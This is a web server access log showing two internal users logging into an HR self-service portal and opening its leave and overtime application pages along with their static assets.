192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.12.66 - - [06/Sep/2025:09:02:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.12.66 - - [06/Sep/2025:09:02:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.12.66 - - [06/Sep/2025:09:02:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [06/Sep/2025:09:02:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [06/Sep/2025:09:02:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.12.66 - - [06/Sep/2025:09:02:49 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.12.66 - - [06/Sep/2025:09:02:49 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [06/Sep/2025:09:02:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [06/Sep/2025:09:02:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [06/Sep/2025:09:02:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.12.66 - - [06/Sep/2025:09:02:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:51 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.12.66 - - [06/Sep/2025:09:02:51 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:51 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.12.66 - - [06/Sep/2025:09:02:51 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [06/Sep/2025:09:02:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:02:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [06/Sep/2025:09:03:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40309050978895977 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:03:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40309050978895977 HTTP/1.1" 200 16008
192.168.12.66 - - [06/Sep/2025:09:03:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40309050978895977 HTTP/1.1" 200 18211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40309050978895977" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:03:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40309050978895977 HTTP/1.1" 200 18211
192.168.12.66 - - [06/Sep/2025:09:03:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:03:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088
192.168.12.66 - - [06/Sep/2025:09:03:12 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.12.66 - - [06/Sep/2025:09:03:12 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:03:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.12.66 - - [06/Sep/2025:09:03:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:03:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:09:03:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [06/Sep/2025:09:08:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [06/Sep/2025:09:08:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [06/Sep/2025:09:08:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [06/Sep/2025:09:08:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [06/Sep/2025:09:08:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [06/Sep/2025:09:08:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [06/Sep/2025:09:08:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [06/Sep/2025:09:08:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [06/Sep/2025:09:08:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [06/Sep/2025:09:08:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:35 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [06/Sep/2025:09:08:35 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:36 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:36 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [06/Sep/2025:09:08:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
